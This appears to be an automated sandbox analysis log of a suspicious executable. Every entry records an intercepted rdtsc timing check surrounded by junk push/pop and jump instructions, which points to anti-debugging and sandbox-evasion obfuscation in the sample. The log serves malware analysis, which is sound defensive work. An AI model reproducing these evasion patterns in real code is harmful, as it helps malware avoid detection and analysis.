Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE0C2 second address: CFE0E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6484B58657h 0x0000000d jng 00007F6484B58646h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE0E7 second address: CFE107 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6485173176h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE294 second address: CFE2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6484B58658h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE3EC second address: CFE3F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE3F0 second address: CFE403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jns 00007F6484B58646h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE403 second address: CFE408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE408 second address: CFE413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F6484B58646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE413 second address: CFE41B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE721 second address: CFE73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6484B58650h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE73A second address: CFE73E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D000D8 second address: D000F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B58657h 0x00000009 je 00007F6484B58646h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D070CB second address: D070CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D070CF second address: D070F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F6484B5864Ch 0x0000000e jnp 00007F6484B58646h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F6484B58646h 0x0000001c jg 00007F6484B58646h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D070F1 second address: D07108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D074F5 second address: D074FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D074FB second address: D07501 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D077BB second address: D077C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D077C1 second address: D077E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6485173174h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D077E1 second address: D077E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D077E5 second address: D0781A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6485173177h 0x00000010 jmp 00007F648517316Eh 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07AE9 second address: D07AF3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6484B58646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0814D second address: D08156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D086AB second address: D086B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08C70 second address: D08C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BDE6 second address: D0BDEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BDEA second address: D0BDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BDF0 second address: D0BDF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C4D6 second address: D0C4EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173174h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D113B5 second address: D113C4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6484B58646h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D113C4 second address: D113CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19EC4 second address: D19EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6484B5865Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19EE8 second address: D19EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A1B2 second address: D1A1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A1BF second address: D1A1D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F648517316Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A1D1 second address: D1A206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58659h 0x00000007 jmp 00007F6484B58654h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A206 second address: D1A234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F648517316Dh 0x00000009 jmp 00007F6485173178h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A6A9 second address: D1A6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A6AD second address: D1A6B7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6485173166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A6B7 second address: D1A6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A9B2 second address: D1A9BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6485173166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A9BC second address: D1A9C9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AC82 second address: D1ACA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173177h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1ACA2 second address: D1ACB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6484B58646h 0x0000000a jnc 00007F6484B58646h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1ACB3 second address: D1ACD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6485173166h 0x0000000a jmp 00007F6485173176h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D198AD second address: D198B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D198B8 second address: D198CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F648517316Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D198CA second address: D198F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6484B58655h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D198F1 second address: D198F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E32B second address: D1E33A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F6484B58646h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E33A second address: D1E371 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007F6485173166h 0x00000018 jns 00007F6485173166h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6485173170h 0x00000026 jns 00007F6485173166h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22C81 second address: D22C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22C87 second address: D22C8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22C8D second address: D22C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22C93 second address: D22C9D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F648517316Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22E16 second address: D22E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22E1B second address: D22E82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jnp 00007F6485173166h 0x0000000d popad 0x0000000e jmp 00007F6485173178h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6485173179h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6485173171h 0x00000023 jmp 00007F6485173171h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22E82 second address: D22E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22E86 second address: D22EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6485173175h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3441A second address: D3442A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6484B5864Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3442A second address: D34459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jg 00007F6485173166h 0x00000015 popad 0x00000016 jp 00007F648517317Dh 0x0000001c jmp 00007F6485173171h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A999 second address: D3A9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A9A6 second address: D3A9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A9AA second address: D3A9C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A9C3 second address: D3A9C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47C25 second address: D47C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47C29 second address: D47C49 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6485173172h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F648517316Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E074 second address: D4E07A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E07A second address: D4E08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F648517316Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E1FA second address: D4E223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jbe 00007F6484B58646h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop esi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 js 00007F6484B58648h 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007F6484B58646h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E223 second address: D4E227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E227 second address: D4E22B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E22B second address: D4E231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E649 second address: D4E6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58654h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F6484B58653h 0x00000011 pop ecx 0x00000012 jmp 00007F6484B58651h 0x00000017 jmp 00007F6484B5864Dh 0x0000001c popad 0x0000001d js 00007F6484B58662h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E6A0 second address: D4E6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a jc 00007F6485173166h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E7F6 second address: D4E7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E7FA second address: D4E815 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6485173166h 0x00000008 jmp 00007F648517316Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E815 second address: D4E81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E81B second address: D4E829 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53263 second address: D5326B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5326B second address: D532AF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F648517316Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jbe 00007F6485173166h 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007F6485173174h 0x00000018 jc 00007F6485173166h 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 jp 00007F648517317Bh 0x00000027 pushad 0x00000028 jmp 00007F648517316Bh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52E42 second address: D52E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52E46 second address: D52E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6485173171h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52E61 second address: D52E6B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6484B58646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52E6B second address: D52E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52E78 second address: D52E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0C5 second address: D5F0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0C9 second address: D5F0D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F6484B58646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0D9 second address: D5F0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6485173177h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0F4 second address: D5F0FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0FA second address: D5F111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6485173166h 0x0000000a jmp 00007F648517316Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F111 second address: D5F115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E849 second address: D6E862 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F648517316Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E64C second address: D6E676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6484B5864Dh 0x00000009 jmp 00007F6484B58653h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7072D second address: D70769 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F648517317Ah 0x0000000c jmp 00007F6485173174h 0x00000011 jmp 00007F648517316Ah 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pushad 0x0000001b popad 0x0000001c jng 00007F6485173166h 0x00000022 pop ebx 0x00000023 push eax 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70769 second address: D7076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7076E second address: D7078B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6485173173h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85D9E second address: D85DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6484B58658h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
